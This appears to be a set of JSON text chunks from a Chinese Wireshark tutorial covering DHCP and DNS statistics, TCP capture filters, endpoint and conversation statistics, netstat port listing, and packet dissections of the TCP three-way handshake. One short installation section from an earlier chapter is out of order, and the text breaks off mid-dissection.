    {"text": "未知 8.2.3 数据统计 在Wireshark中提供了一个DHCP数据统计功能，可以用来查看每种DHCP消息类型的包数。在菜单栏中，依次选择“统计”|DHCP（BOOTP）Statistics命令，将打开DHCP统计对话框，如图8.13所示。 图8.13 DHCP统计对话框 在DHCP统计对话框中共包括两列，分别是DHCP Message Type和Packets。其中，DHCP Message Type表示DHCP消息类型；Packets表示该消息类型对应的包数。所有的DHCP消息类型含义如下： ·TLS：DHCP-over-TLS类型报文。 ·Request：DHCP请求报文。该报文用于客户端对于服务器发出的DHCP OFFER所做出的响应。在续约租期的时候同样使用。 ·Release：DHCP释放报文。该报文一般出现在客户端关机和下线等情况。这个报文将会使DHCP服务器释放发出此报文的客户端的IP地址。 ·Offer：DHCP提供报文。当服务器接收到DHCP DISCOVER之后做出的响应。在该报文中，包括给予客户端的IP地址、客户端的MAC地址、租约过期时间、服务器的标识符及其他信息。 ·NAK：DHCP ACK相反的报文，表示服务器拒绝了客户端的请求。 ·Lease query：地址租约查询。 ·Lease Unknown：地址租约未知。 ·Lease Unassigned：地址租约未分配。 ·Lease Query Status：地址租约查询状态。 ·Lease Query Done：地址租约查询完成。 ·Lease Active：地址租约激活。 ·Inform：客户端发出的向服务器请求一些信息的报文。 ·Force Renew：强制进行地址续约。 ·Discover：DHCP发现报文。客户端开始DHCP过程发送的包，是DHCP协议的开始。 ·Decline：当客户端发现服务器分配的IP地址无法使用（如IP地址冲突），将发出此报文，通知服务器禁止使用该IP地址。 ·Bulk Lease Query：批量地址租约查询。 ·Active Lease Query：主动地址租约查询。 ·ACK：DHCP确认报文。服务器在接收到客户端发来的DHCP REQUEST之后发出的成功确认的报文。在建立连接的时候，客户端在接收到这个报文之后，才会确认分配给它的IP和其他信息可以被允许使用。 通过对以上统计结果进行分析，可以看到该捕获文件中包括的消息类型报文有Request、Offer、Discover和ACK。其中，每种消息类型的报文各一个。 未知 8.3 DNS分析 DNS（Domain Name System，域名系统）主要用于命名组织到域层次结构中的计算机和网络服务。域名是由圆点分开一串单词或缩写组成的，每一个域名都对应一个唯一的IP地址。在Internet上，域名与IP地址之间是一一对应的，DNS就是进行域名解析的服务器。本节将对DNS数据包进行分析。 未知 8.3.1 过滤DNS包 为了方便用户分析DNS数据包，可以使用显示过滤器dns对其进行过滤。在显示过滤器文本框中输入dns，即可成功过滤所有的DNS数据包，如图8.14所示。 图8.14 过滤显示的DNS协议包 从Protocol列可以看到，所有显示的数据包协议都为DNS。在Info列显示了每个DNS报文的详细信息。其中，一个完整的DNS会话包括两个报文，分别是Standard query（标准查询）和Standard query response（标准查询响应）。如果属于一个DNS会话，则事务ID是相同的。在以上报文中，16和17属于同一个会话。其中，对应的事务ID都为0x6ef2。 为了方便用户对DNS协议数据包进行更精确的显示过滤，下面将列举一些常用的DNS协议相关显示过滤器，如表8.3所示。 表8.3 DNS常用显示过滤器表达式"},
    {"text": "未知 8.3.2 分析DNS会话 当用户过滤出所有的DNS数据包后，则可以对其进行分析。通过分析DNS数据包，用户可知某服务器的IP地址，然后根据该服务器的地址做进一步过滤，以获取客户端与服务器之间传输的所有数据包，通过分析这些数据包，即可获取到客户端的一些行为及敏感信息。下面介绍分析DNS会话信息的相关内容。 在DNS服务器上，DNS的信息是通过一个叫做资源记录（RR，Resource Record）的格式进行保存。资源记录不仅能够将域名保存到IP地址的对应信息中，还能够保存很多其他信息。当服务器响应客户端请求时，将会包括地址及对应的资源记录类型信息。其中，常见的资源记录类型如表8.4所示。 表8.4 资源记录类型 下面将以前面捕获文件中的DNS数据包（44和46帧）为例，对其进行分析。其中，DNS请求（44帧）包详细信息如下： Frame 44: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Giga-Byt_c8:4c:89 (1c:6f:65:c8:4c:89), Dst: Skyworth_ 53:e0:35 (70:85:40:53:e0:35) #以太网协议 Internet Protocol Version 4, Src: 192.168.1.3, Dst: 192.168.1.1 #IPv4协议 User Datagram Protocol, Src Port: 53631, Dst Port: 53 #UDP协议 Domain Name System (query) #DNS query（查询） Transaction ID: 0x6e15 #事务ID Flags: 0x0100 Standard query #标志 Questions: 1 #问题计数 Answer RRs: 0 #响应计数 Authority RRs: 0 #域名服务器计数 Additional RRs: 0 #额外计数 Queries #查询 www.qq.com: type A, class IN #域名信息 Name: www.qq.com #请求的域名 [Name Length: 10] #名称长度 [Label Count: 3] #标签数 Type: A (Host Address) (1) #域名类型 Class: IN (0x0001) #地址类型 [Response In: 46] 从以上包信息中可以看到，事务ID为0x6e15，查询的域名为 www.qq.com ，域名类型为A（主机地址），主机类型为IN。 DNS响应（46帧）包详细信息如下： Frame 46: 106 bytes on wire (848 bits), 106 bytes captured (848 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Skyworth_53:e0:35 (70:85:40:53:e0:35), Dst: Giga-Byt_ c8:4c:89 (1c:6f:65:c8:4c:89) #以太网协议 Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.3 #IPv4协议 User Datagram Protocol, Src Port: 53, Dst Port: 53631 #UDP协议 Domain Name System (response) #DNS response（响应） Transaction ID: 0x6e15 #事务ID Flags: 0x8180 Standard query response, No error #标志 Questions: 1 #问题数 Answer RRs: 2 #应答数 Authority RRs: 0 #域名服务器数 Additional RRs: 0 #额外数据 Queries #查询的信息 www.qq.com: type A, class IN #域名信息 Name: www.qq.com #请求的域名 [Name Length: 10] #域名长度 [Label Count: 3] #标签数 Type: A (Host Address) (1) #地址类型 Class: IN (0x0001) #域名类型 Answers #响应 www.qq.com: type CNAME, class IN, cname https.qq.com #应答的信息 Name: www.qq.com #响应的域名 Type: CNAME (Canonical NAME for an alias) (5) #响应类型 Class: IN (0x0001) #响应的域名类型 Time to live: 215 #生存期 Data length: 8 #数据长度 CNAME: https.qq.com #别名 https.qq.com: type A, class IN, addr 125.39.52.26 #域名信息 Name: https.qq.com #响应的域名 Type: A (Host Address) (1) #地址类型 Class: IN (0x0001) #主机类型 Time to live: 116 #生存期 Data length: 4 #数据长度 Address: 125.39.52.26 #地址 [Request In: 44] [Time: 0.005063000 seconds] 从以上包信息中可以看到，当前报文的事务ID也为0x6e15，与前面的查询报文相对应。从响应包信息中可以看到，域名 www.qq.com 有一个别名，该别名为https.qq.com，对应的IP地址为125.39.52.26。 未知 8.3.3 数据统计 Wireshark提供了一个DNS数据统计功能，可以很方便地查看DNS数据信息。在菜单栏依次选择“统计”|DNS命令，打开DNS数据统计对话框，如图8.15所示。 在该对话框中共包括9列，分别为Topic/Item（标题/项目）、Count（分组数）、Average（平均值）、Min val（最小值）、Max val（最大值）、Rate（速率）、Percent（分组所占百分比）、Burst rate（突发速率）和Burst start（突发启动时间）。其中，每列信息的含义如下： ·Topic/Item：显示了各种包状态。 ·Count：各种状态数据包的总数。 ·Average：各种状态数据包的平均值。 ·Min val：各种状态数据包的最小值。 ·Max val：各种状态数据包的最大值。 ·Rate(ms)：各种状态数据包的传输速率。 ·Percent：各种状态数据包所占百分比。 ·Burst rate：各种状态数据包每毫秒发送的最大数据包数。 ·Burst start：各种状态数据包发送最大数据包的时间。 图8.15 DNS数据统计对话框 通过对以上数据进行分析可知，该捕获文件中包括的包状态有Total Packets（总共包数）、Service Stats（服务状态）、Response Stats（响应状态）、Query Status（查询状态）和Payload size（载荷大小）。其中，在总包数（Total Packets）分支中包括rcode（响应码）、opcodes（操作码）、Query/Response（查询/响应）、Query Type（查询的类型）和Class（域名类型）。通过对这些分支的数据进行分析，可以看到查询和响应的报文各31个。所有包查询的类型都为A（主机地址），域名类型为IN。"},
    {"text": "未知 第9章 TCP协议数据分析 TCP（Transmission Control Protocol，传输控制协议）是一种面向连接的、可靠的、基于字节流的传输层通信协议。例如，当用户访问网站时，首先通过TCP协议建立连接，然后才发送HTTP请求以获取网站的内容。服务器响应客户端的信息，也都将通过TCP协议传输给客户端。本章将详细讲解TCP协议数据的相关内容。 未知 9.1 捕获TCP数据包 如果要分析TCP协议的数据包，则必须先捕获其数据包。本节将介绍捕获TCP数据包及对其端点进行分析。 未知 1.3.5 Linux系统安装Wireshark 为了稳定，Linux系统并没有内置最新版的Wireshark工具，而是使用2.6.X系列版本。用户直接使用内置版本安装即可。 【实例1-3】 在Debian Linux系统中安装Wireshark。执行命令如下： root@daxueba:~#apt-get install wireshark 执行以上命令后，如果没有报错，则说明Wireshark工具安装成功。 未知 9.1.1 捕获过滤 为了减少太多的冗余信息，可以使用捕获过滤器来捕获TCP数据包。用于捕获TCP数据包的捕获过滤器有两种，第一种是直接使用TCP协议过滤，执行命令如下： tcp 以上命令表示过滤所有TCP协议的数据包。 第二种是指定TCP协议的某端口或者端口范围。执行命令如下： tcp port port #捕获过滤TCP端口 tcp portrange port1-port2 #捕获过滤TCP端口范围 【实例9-1】 使用捕获过滤器tcp，捕获过滤所有的TCP数据包。 （1）启动Wireshark，显示Wireshark的启动界面，如图9.1所示。 （2）在捕获过滤文本框中输入过滤器tcp，并选择捕获接口以太网，然后单击开始捕获分组按钮 ，开始捕获TCP协议数据包，如图9.2所示。 （3）从分组列表的Protocol列可以看到，捕获到的数据包都是TCP协议。可能会发现有HTTP和TLSv1协议等，这是由于HTTP和TLSv1都是基于TCP协议的应用层协议，所以也都被捕获到了。 图9.1 Wireshark的启动界面 图9.2 正在捕获数据包 未知 9.1.2 端点分析 Wireshark提供了一个端点分析功能，可以用来查看捕获到的IP地址和端口号。在菜单栏中依次选择“统计”|“端点”命令，将打开端点统计对话框，如图9.3所示。 在端点统计对话框中包括5个协议的选项卡，分别是Ethernet、IPv4、IPv6、TCP和UDP。通过选择不同的选项卡，即可分析对应协议的端点统计信息。其中，协议选项卡中的数字表示端点数。这里分析的是TCP协议端点，所以选择单击TCP 9选项卡，将显示TCP协议的端点统计信息，如图9.4所示。 图9.3 端点统计对话框 图9.4 IP地址和端口信息 在如图9.4所示的对话框中共包括8列，分别为Address（IP地址）、Port（端口）、Packets（包数）、Bytes（字节数）、Tx Packets（发送的包数）、Tx Bytes（发送的字节数）、Rx Packets（接收的包数）和Rx Bytes（接收的字节数）。每列的含义如下： ·Address：表示发送TCP数据包的源IP地址。 ·Port：表示发送TCP数据包的源端口。 ·Packets：表示该地址传输的TCP数据包总数。 ·Bytes：表示该地址传输的TCP数据包总字节数。 ·Tx Packets：表示该地址发送的TCP数据包数。 ·Tx Bytes：表示该地址发送的TCP数据包字节数。 ·Rx Packets：表示该地址接收的数据包数。 ·Rx Bytes：表示该地址接收的TCP数据包字节数。 通过对以上数据包进行分析可知，主机36.99.30.142发送TCP数据包使用的端口为80，共发送了14个包，包大小总共为3653个字节。 使用端点分析查看到的是TCP数据包的源地址及对应的源端口数据信息。还可以查看目标地址及目标端口统计信息。在菜单栏中依次选择“统计”|IPv4 Statistics|Destinations and Ports命令，打开目标地址和端口统计对话框，如图9.5所示。 图9.5 目标IP和端口统计对话框 在图9.5所示的对话框中共包括9列，分别是Topic/Item（标题/项目）、Count（分组数）、Average（平均分组数）、Min val（最小分组）、Max val（最大分组）、Rate(ms)（速率）、Percent（分组数所占百分比）、Burst rate（突发速率）和Burst start（突发启动时间）。每列的含义如下： ·Topic/Item：所有的目标IP地址和对应的端口。 ·Count：该地址接收的数据包总数。 ·Average：该地址接收的平均数据包数。 ·Min val：该地址接收的最小数据包数。 ·Max val：该地址接收的最大数据包数。 ·Rate(ms)：该地址接收数据包的速率。 ·Percent：该地址接收的数据包所占百分比。 ·Burst rate：该地址每毫秒发送的最大数据包数。 ·Burst start：该地址发送最大数据包的时间。 通过对以上数据信息的分析可以看到，接收数据包的目标地址有36.99.30.142、36.99.30.135和192.168.1.4等。从目标地址的分支中可以看到接收数据包使用的协议及对应端口。例如，主机36.99.30.142接收的TCP数据包使用的端口为80；192.168.1.4接收的TCP数据包使用的端口有20619、20618、20617、20616和20569。"},
    {"text": "1.Windows下查看端口 在Windows下使用Netstat工具查看端口的语法格式如下： netstat-ano 以上语法中的选项及含义如下： ·-a：显示所有连接和监听端口。"},
    {"text": "操作步骤如下： （1）按Win+R组合键，打开“运行”对话框，如图9.6所示。 （2）在打开文本框中输入cmd命令，单击“确定”按钮，打开如图9.7所示的窗口。"},
    {"text": "图9.6 “运行”对话框 图9.7 命令行窗口 （3）在命令行窗口中执行如下命令： C:\\Users\\Administrator>netstat -ano 活动连接 协议 本地地址 外部地址 状态 PID TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 440 TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 5672 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:902 0.0.0.0:0 LISTENING 3636 TCP 0.0.0.0:912 0.0.0.0:0 LISTENING 3636 TCP 0.0.0.0:1536 0.0.0.0:0 LISTENING 700 TCP 0.0.0.0:1537 0.0.0.0:0 LISTENING 1392 TCP 0.0.0.0:1538 0.0.0.0:0 LISTENING 1560 TCP 0.0.0.0:1539 0.0.0.0:0 LISTENING 3316 TCP 0.0.0.0:1540 0.0.0.0:0 LISTENING 772 TCP 0.0.0.0:1573 0.0.0.0:0 LISTENING 784 TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:5432 0.0.0.0:0 LISTENING 6072 TCP 0.0.0.0:7680 0.0.0.0:0 LISTENING 2728 TCP 0.0.0.0:45000 0.0.0.0:0 LISTENING 2252 TCP 0.0.0.0:45001 0.0.0.0:0 LISTENING 2252 TCP 0.0.0.0:45002 0.0.0.0:0 LISTENING 2252 TCP 0.0.0.0:45003 0.0.0.0:0 LISTENING 2252 TCP 0.0.0.0:45004 0.0.0.0:0 LISTENING 2252 TCP 0.0.0.0:45769 0.0.0.0:0 LISTENING 5768 TCP 127.0.0.1:4012 0.0.0.0:0 LISTENING 4296 TCP 127.0.0.1:4013 0.0.0.0:0 LISTENING 4296 TCP 127.0.0.1:4300 0.0.0.0:0 LISTENING 8872 TCP 127.0.0.1:4301 0.0.0.0:0 LISTENING 8872 TCP 127.0.0.1:8307 0.0.0.0:0 LISTENING 5672 TCP 127.0.0.1:21440 0.0.0.0:0 LISTENING 3920 TCP 127.0.0.1:21441 0.0.0.0:0 LISTENING 3920 TCP 127.0.0.1:28317 0.0.0.0:0 LISTENING 4260 TCP 127.0.0.1:43958 0.0.0.0:0 LISTENING 2252 TCP 169.254.24.41:5040 0.0.0.0:0 LISTENING 11352 TCP 169.254.145.208:5040 0.0.0.0:0 LISTENING 11352 TCP 169.254.221.139:5040 0.0.0.0:0 LISTENING 11352 TCP 192.168.0.100:139 0.0.0.0:0 LISTENING 4 TCP 192.168.0.100:5040 0.0.0.0:0 LISTENING 11352 TCP 192.168.0.100:24487 192.168.0.1:1900 ESTABLISHED 2252 …… 从输出的信息可以看到当前主机中监听的所有端口信息。"},
    {"text": "选择“详细信息”选项卡，即可看到进程PID对应的应用程序，如图9.9所示。 图9.9 运行的应用程序 （6）从窗口中可以看到每个进程ID对应的程序名。"},
    {"text": "2.Linux下查看端口 在Linux下使用Netstat工具查看端口的语法格式如下： netstat[选项] Netstat工具支持的选项及含义如下： ·-a：显示所有连线中的套接字。"},
    {"text": "执行命令如下： root@daxueba:~# netstat -antpul Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 43115/sshd tcp6 0 0 :::80 :::* LISTEN 46601/apache2 tcp6 0 0 :::9876 :::* LISTEN 46601/apache2 tcp6 0 0 :::21 :::* LISTEN 56586/vsftpd tcp6 0 0 :::22 :::* LISTEN 43115/sshd udp 0 0 0.0.0.0:68 0.0.0.0:* 56420/dhclient 从输出的信息可以看到共包括7列，分别是Proto（协议）、Recv-Q（接收的数据包）、Send-Q（发送的数据包）、Local Address（本地地址）、Foreign Address（外部地址）、State（状态）和PID/Program name（进程ID/程序名）。"},
    {"text": "图9.10 使用端口捕获过滤器 （2）在接口列表中选择捕获接口，单击开始捕获分组按钮 捕获数据包，如图9.11所示。 图9.11 捕获到的数据包 （3）从Info列可以看到，捕获到的所有数据包都是源或者目标端口为80的数据包。"},
    {"text": "未知 9.2 会话分析 当用户显示过滤到需要的数据包后，即可对其会话进行分析。一个完整的TCP会话包括建立连接、传输数据、断开连接这个阶段。在同一个TCP会话中，源IP、目标IP、源端口和目标端口都是不变的。本节将对TCP会话进行分析。"},
    {"text": "未知 9.2.1 会话统计 Wireshark提供了一个会话统计功能，可以查看TCP会话的基本信息。在菜单栏中依次选择“统计”|“会话”命令，打开会话统计对话框，如图9.12所示。 会话统计对话框包括5个选项卡，分别为Ethernet（以太网协议）、IPv4（IPv4协议）、IPv6（IPv6协议）、TCP（TCP协议）和UDP（UDP协议）。选择TCP选项卡，即可查看TCP会话统计信息，如图9.13所示。 图9.12 会话统计对话框 图9.13 TCP会话统计 在图9.13所示的对话框中，每一行信息表示一个TCP会话。其中，每个TCP会话都包括Address A（地址A）、Port A（端口A）、Address B（地址B）、Port B（端口B）、Packets（总包数）、Bytes（字节）、Packets A-B（从A到B的数据包）、Bytes A-B（从A到B的字节数）、Packets B-A（从B到A的数据包数）、Bytes B-A（从B到A的字节）、Rel Start（会话启动时间）、Duration（持续时间）、Bits/s A-B（从A到B的传输速率）和Bits/s B-A（从B到A的传输速率）。每列的具体含义如下： ·Address A：TCP会话一端的IP地址。 ·Port A：TCP会话一端使用的端口。 ·Address B：TCP会话另一端的IP地址。 ·Port B：TCP会话另一端使用的端口。 ·Packets：整个TCP会话总共传输的数据包数。 ·Bytes：整个TCP会话总共传输的字节数。 ·Packets A-B：从地址A到地址B传输的数据包数。 ·Bytes A-B：从地址A到地址B传输的字节数。 ·Packets B-A：从地址B到地址A传输的包数。 ·Bytes B-A：从地址B到地址A传输的字节数。 ·Rel Start：第一个包到TCP会话的启动时间。 ·Duration：整个TCP会话第一个包到最后一个包所用的时间。 ·Bits/s A-B：从地址A到地址B每秒传输的数据大小。 ·Bits/s B-A：从地址B到地址A每秒传输的数据大小。 通过对以上每列信息进行分析可知，第一个TCP会话中的一端的地址为192.168.1.4（地址A），源端口为20569（端口A）；另一端的地址为124.163.202.254（地址B），其端口为80（端口B）。该会话总共有3个数据包，字节大小为168。其中，地址A发送给地址B有2个包；地址B发送给地址A有1个包。 在该会话窗口中，还可以对TCP会话进行显示过滤、查找或者着色。在会话对话框中选择任何一个TCP会话并右击，将弹出一个快捷菜单，如图9.14所示。 图9.14 快捷菜单 从弹出的快捷菜单中可以看到，包括作为过滤器应用、准备过滤器、查找和着色共4个命令。当用户选择某个命令时，即可看到对应的子命令，每个命令对应的子命令都相同。图9.14中显示了“作为过滤器应用”命令的子命令。其中，展开的每个命令含义如下： ·A←→B：显示过滤地址A和地址B交互的所有数据包。 ·A→B：显示过滤地址A到地址B的所有数据包。 ·B→A：显示过滤地址B到地址A的所有数据包。 ·A←→Any：显示过滤地址A和任意地址之间交互的所有数据包。 ·A→Any：显示过滤地址A到任意地址的所有数据包。 ·Any→A：显示过滤任意地址到地址A的数据包。 ·Any←→B：显示过滤任意地址和地址B之间交互的所有数据包。 ·Any→B：显示过滤任意地址到地址B的所有数据包。 ·B→Any：显示过滤地址B到任意地址的所有数据包。 此时，用户可以根据自己的选项，选择对应的选项对TCP会话进行过滤并分析。 【实例9-5】 显示过滤地址A（192.168.1.4，端口为20616）和地址B（104.192.108.133，端口为80）之间传输的TCP数据包。 （1）在会话窗口中选择第二个TCP会话并右击，依次选择“作为过滤器应用”|“选中”|A←→B命令，即可应用对应的显示过滤器，然后返回到捕获文件中，即可看到应用的显示过滤器，如图9.15所示。 图9.15 成功应用指定的显示过滤器 （2）从显示过滤器文本框中可以看到，应用的显示过滤器表达式为ip.addr==192.168.1.4&&tcp.port==20616&&ip.addr==104.192.108.133&&tcp.port==80（显示过滤地址为192.168.1.4和104.192.108.133，端口为20616和80的数据包），而且成功对其数据包进行了过滤。 【实例9-6】 从捕获文件中查找地址A（192.168.1.4，端口为20616）发送给地址B（104.192.108.133，端口为80）的TCP数据包。 （1）在会话对话框中选择第一个TCP会话并右击，依次选择“查找”|A→B命令，在捕获文件中将看到查找工具栏，如图9.16所示。 （2）从图9.16所示的窗口中可以看到显示的查找工具栏，并且自动应用显示过滤器进行查找数据包。其中，使用的显示过滤器表达式为ip.src==192.168.1.4&&tcp.srcport==20616&&ip.dst==104.192.108.133&&tcp.dstport==80（显示过滤源地址为192.168.1.4，源TCP端口为20616，目标地址为104.192.108.133，目标TCP端口为80的数据包）。此时，单击“查找”按钮，即可找到匹配该显示过滤器表达式的数据包，如图9.17所示。 图9.16 查找工具栏 图9.17 查找到的匹配包 （3）从分组列表中可以看到，分组12高亮显示，即找到匹配显示过滤器的第一个分组。通过分析该分组的信息可以看到，源IP地址为192.168.1.4，目标IP地址为104.192.108.133，源端口为20616，目标端口为80。由此可以说明，成功找到了匹配的分组。"},
    {"text": "未知 9.2.2 建立连接 TCP是因特网中的传输层协议，主要使用三次握手协议建立连接，四次握手断开连接。 在分析TCP协议建立连接的数据包之前，首先介绍一下它的工作原理，以帮助读者更容易理解传输的数据包。"},
    {"text": "其中，TCP协议三次握手过程如图9.18所示。 图9.18 TCP三次握手 具体的工作流程如下： （1）客户端发送SYN（seq=x）报文给服务端，进入SYN_SEND状态。"},
    {"text": "（2）服务器端收到SYN报文，回应一个SYN（seq=y）ACK（ack=x+1）报文，进入SYN_RCVD状态。 （3）客户端收到服务器端的SYN报文，将回应一个ACK（ack=y+1）报文，进入ESTABLISHED状态。"},
    {"text": "此时三次握手完成，TCP客户端和服务器端成功地建立连接，就可以开始传输数据了。 通过对TCP三次握手的了解可知，TCP协议在建立连接时，通过发送不同标志位（如SYN、SYN+ACK、ACK）的数据包来建立连接，而且每次请求及响应的序列号也不同。"},
    {"text": "其中，TCP建立连接的三次握手包如图9.19所示。 图9.19 建立连接 在图9.19窗口中显示了TCP建立连接的三次握手包，分组编号为8、9和10。"},
    {"text": "从Info列可以看到，第一次握手包的标志位为SYN（Seq=0）； 第二次握手包的标志位为SYN,ACK（Seq=0,Ack=1）； 第三次握手包的标志位为ACK（Seq=1,Ack=1）。"},
    {"text": "第一次握手（分组8）的包详细信息如下： Frame 8: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Giga-Byt_c8:4c:89 (1c:6f:65:c8:4c:89), Dst: Skyworth_ 53:e0:35 (70:85:40:53:e0:35) #以太网协议 Internet Protocol Version 4, Src: 192.168.1.4, Dst: 104.192.108.133 #IPv4协议 Transmission Control Protocol, Src Port: 20616, Dst Port: 80, Seq: 0, Len: 0 #TCP协议 Source Port: 20616 #源端口 Destination Port: 80 #目标端口 [Stream index: 1] #TCP会话流索引 [TCP Segment Len: 0] #TCP分片长度 Sequence number: 0 (relative sequence number) #序列号 [Next sequence number: 0 (relative sequence number)] #下一序列号 Acknowledgment number: 0 #确认号 1000 .... = Header Length: 32 bytes (8) #TCP首部长度 Flags: 0x002 (SYN) #标志位 000. .... .... = Reserved: Not set #保留位 ...0 .... .... = Nonce: Not set #临时位 .... 0... .... = Congestion Window Reduced (CWR): Not set #拥塞窗口减少标志 .... .0.. .... = ECN-Echo: Not set #ECN标志 .... ..0. .... = Urgent: Not set #URG（紧急指针有效）标志 .... ...0 .... = Acknowledgment: Not set #ACK（确认）标志 .... .... 0... = Push: Not set #PSH（传送）标志 .... .... .0.. = Reset: Not set #RST（重置连接）标志 .... .... ..1. = Syn: Set #SYN（同步序号）标志 .... .... ...0 = Fin: Not set #FIN（传输数据结束）标志 [TCP Flags: ··········S·] #TCP标志 Window size value: 64240 #窗口大小值 [Calculated window size: 64240] #计算窗口大小 Checksum: 0x9718 [unverified] #校验值 [Checksum Status: Unverified] #校验状态 Urgent pointer: 0 #紧急指针 Options: (12 bytes), Maximum segment size, No-Operation (NOP), Window scale, No-Operation (NOP), No-Operation (NOP), SACK permitted #选项字段 TCP Option - Maximum segment size: 1460 bytes #最大分片大小 Kind: Maximum Segment Size (2) #类型 Length: 4 #长度 MSS Value: 1460 #最大报文传输值 TCP Option - No-Operation (NOP) #空白指令 Kind: No-Operation (1) #类型 TCP Option - Window scale: 8 (multiply by 256) #窗口缩放 Kind: Window Scale (3) #类型 Length: 3 #长度 Shift count: 8 #移位计数 [Multiplier: 256] #倍数 TCP Option - No-Operation (NOP) #空白指令 Kind: No-Operation (1) TCP Option - No-Operation (NOP) #空白指令 Kind: No-Operation (1) TCP Option - SACK permitted #选择确认选项 Kind: SACK Permitted (4) #类型 Length: 2 #长度 [Timestamps] #时间戳 [Time since first frame in this TCP stream: 0.000000000 seconds] #TCP流距第一帧的时间 [Time since previous frame in this TCP stream: 0.000000000 seconds] #TC刘距前一帧的时间 在当前分组中总共包括三层协议信息，分别为以太网协议层、IPv4协议层和TCP协议层。"},
    {"text": "从IPv4协议层可以看到该分组的源IP地址（192.168.1.4）和目标IP地址（104.192.108.133）。 从TCP协议层可以看到源端口（20616）和目标端口（80），而且还可以看到会话流索引、请求的序列号、数据包的标志位和窗口大小等。"},
    {"text": "通过对以上信息进行分析可以看到，该分组的流索引为1，序列号为0，标志位为SYN（0x002），而且从Flags分支中可以看到，SYN标志值为1，其他标志值都为0。"},
    {"text": "第二次握手包（分组9）的详细信息如下： Frame 9: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Skyworth_53:e0:35 (70:85:40:53:e0:35), Dst: Giga-Byt_ c8:4c:89 (1c:6f:65:c8:4c:89) #以太网协议 Internet Protocol Version 4, Src: 104.192.108.133, Dst: 192.168.1.4 #IPv4协议 Transmission Control Protocol, Src Port: 80, Dst Port: 20616, Seq: 0, Ack: 1, Len: 0 #TCP协议 Source Port: 80 #源端口 Destination Port: 20616 #目标端口 [Stream index: 1] #流索引 [TCP Segment Len: 0] #TCP分片长度 Sequence number: 0 (relative sequence number) #序列号 [Next sequence number: 0 (relative sequence number)] #下一序列号 Acknowledgment number: 1 (relative ack number) #确认号 1000 .... = Header Length: 32 bytes (8) #TCP首部长度 Flags: 0x012 (SYN, ACK) #标志位 000. .... .... = Reserved: Not set #保留位 ...0 .... .... = Nonce: Not set #临时位 .... 0... .... = Congestion Window Reduced (CWR): Not set #拥塞窗口减少标志 .... .0.. .... = ECN-Echo: Not set #ENC标志 .... ..0. .... = Urgent: Not set #URG标志 .... ...1 .... = Acknowledgment: Set #ACK标志 .... .... 0... = Push: Not set #PSH标志 .... .... .0.. = Reset: Not set #RST标志 .... .... ..1. = Syn: Set #SYN标志 .... .... ...0 = Fin: Not set #FIN标志 [TCP Flags: ·······A··S·] #TCP标志 Window size value: 14600 #窗口大小 [Calculated window size: 14600] #计算的窗口大小 Checksum: 0x180b [unverified] #校验值 [Checksum Status: Unverified] #校验状态 Urgent pointer: 0 #紧急指针 Options: (12 bytes), Maximum segment size, No-Operation (NOP), No-Operation (NOP), SACK permitted, No-Operation (NOP), Window scale #选项字段 TCP Option - Maximum segment size: 1460 bytes #最大分片大小 Kind: Maximum Segment Size (2) #类型 Length: 4 #长度 MSS Value: 1460 #最大报文传输值 TCP Option - No-Operation (NOP) #空白指令 Kind: No-Operation (1) #类型 TCP Option - No-Operation (NOP) Kind: No-Operation (1) TCP Option - SACK permitted #选择确认选项 Kind: SACK Permitted (4) Length: 2 TCP Option - No-Operation (NOP) Kind: No-Operation (1) TCP Option - Window scale: 7 (multiply by 128) #窗口缩放 Kind: Window Scale (3) Length: 3 Shift count: 7 [Multiplier: 128] [SEQ/ACK analysis] #请求/确认分析 [This is an ACK to the segment in frame: 8] #确认的分片帧 [The RTT to ACK the segment was: 0.277192000 seconds] #确认分片的往返时间 [iRTT: 0.277369000 seconds] [Timestamps] #时间戳 [Time since first frame in this TCP stream: 0.277192000 seconds] [Time since previous frame in this TCP stream: 0.277192000 seconds] 从IPv4协议层可以看到，当前分组的源地址为104.192.108.133，目标地址为192.168.1.4。"},
    {"text": "第三次握手（分组10）的包详细信息如下： Frame 10: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0 #帧摘要信息 Ethernet II, Src: Giga-Byt_c8:4c:89 (1c:6f:65:c8:4c:89), Dst: Skyworth_ 53:e0:35 (70:85:40:53:e0:35) #以太网协议 Internet Protocol Version 4, Src: 192.168.1.4, Dst: 104.192.108.133 #IPv4协议 Transmission Control Protocol, Src Port: 20616, Dst Port: 80, Seq: 1, Ack: 1, Len: 0 #TCP协议 Source Port: 20616 #源端口 Destination Port: 80 #目标端口 [Stream index: 1] #流索引 [TCP Segment Len: 0] #TCP分片长度 Sequence number: 1 (relative sequence number) #序列号 [Next sequence number: 1 (relative sequence number)] #下一序列号 Acknowledgment number: 1 (relative ack number) #确认号 0101 .... = Header Length: 20 bytes (5) #TCP首部长度 Flags: 0x010 (ACK) #标志位 000. .... .... = Reserved: Not set #保留位 ...0 .... .... = Nonce: Not set #临时位 .... 0... .... = Congestion Window Reduced (CWR): Not set #拥塞窗口减少标志 .... .0.. .... = ECN-Echo: Not set #ENC标志 .... ..0. .... = Urgent: Not set #URG标志 .... ...1 .... = Acknowledgment: Set #ACK标志 .... .... 0... = Push: Not set #PSH标志 .... .... .0.. = Reset: Not set #Rst标志 .... .... ..0. = Syn: Not set #SYN标志 .... .... ...0 = Fin: Not set #FIN标志 [TCP Flags: ·······A····] #TCP标志 Window size value: 256 #窗口大小 [Calculated window size: 65536] #计算的窗口大小 [Window size scaling factor: 256] #窗口大小乘积因子 Checksum: 0x970c [unverified] #校验值 [Checksum Status: Unverified] #校验状态 Urgent pointer: 0 #紧急指针 [SEQ/ACK analysis] #请求/确认分析 [This is an ACK to the segment in frame: 9] #确认的分片帧 [The RTT to ACK the segment was: 0.000177000 seconds] #往返时间 [iRTT: 